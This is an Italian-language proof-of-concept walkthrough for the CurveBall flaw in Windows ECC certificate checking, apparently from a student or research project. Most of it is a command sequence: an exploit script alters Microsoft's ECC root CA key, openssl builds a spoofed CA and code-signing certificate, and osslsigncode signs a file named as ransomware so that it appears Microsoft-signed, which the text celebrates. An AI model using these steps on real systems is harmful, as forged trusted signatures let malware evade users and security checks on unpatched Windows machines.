
Questa vulnerabilità, nota come CurveBall, è dovuta a una verifica non valida dei certificati che utilizzano l'algoritmo ECC. Windows tenta di verificare i certificati precedentemente verificati dalla cache dei certificati e, facendo ciò, controlla solo se le chiavi pubbliche dei certificati sono identiche e non controlla altri parametri.
Per falsificare il certificato, impostiamo esplicitamente i parametri come segue:
d' = 1
G' = Q
Se hai bisogno di maggiori informazioni, puoi controllare la sezione dei dettagli matematici del file final_report_milestone_IV.pdf.
In questo PoC, usiamo "Microsoft ECC Product Root Certificate Authority", che è il certificato attendibile di Microsoft fino all'anno 2043.
Estraiamo la chiave pubblica dalla CA e modifichiamola in base alla vulnerabilità
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Generiamo un nuovo certificato x509 basato su questa chiave. Questa sarà la nostra CA falsificata.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="
Per vedere il contenuto di spoofed_ca.crt
openssl x509 -in spoofed_ca.crt -noout -text
Generiamo una nuova chiave. Questa chiave può essere di qualsiasi tipo tu voglia. Verrà utilizzata per creare un certificato di firma del codice, che firmeremo con la nostra CA.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Successivamente, creiamo una nuova richiesta di firma del certificato (CSR). Questa richiesta viene spesso inviata a CA attendibili, ma poiché ne abbiamo una falsificata, possiamo firmarla noi stessi.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
Firmiamo la nostra nuova CSR con la nostra CA falsificata e la chiave della CA. Questo certificato scadrà nel 2047, mentre la vera CA attendibile di Microsoft scadrà nel 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
L'unica cosa rimasta è impacchettare il certificato, la sua chiave e la CA falsificata in un file PKCS12 per firmare gli eseguibili.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
Firmiamo il nostro eseguibile con il file PKCS12.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234
Ora, abbiamo un ransomware nuovo di zecca firmato da Microsoft :)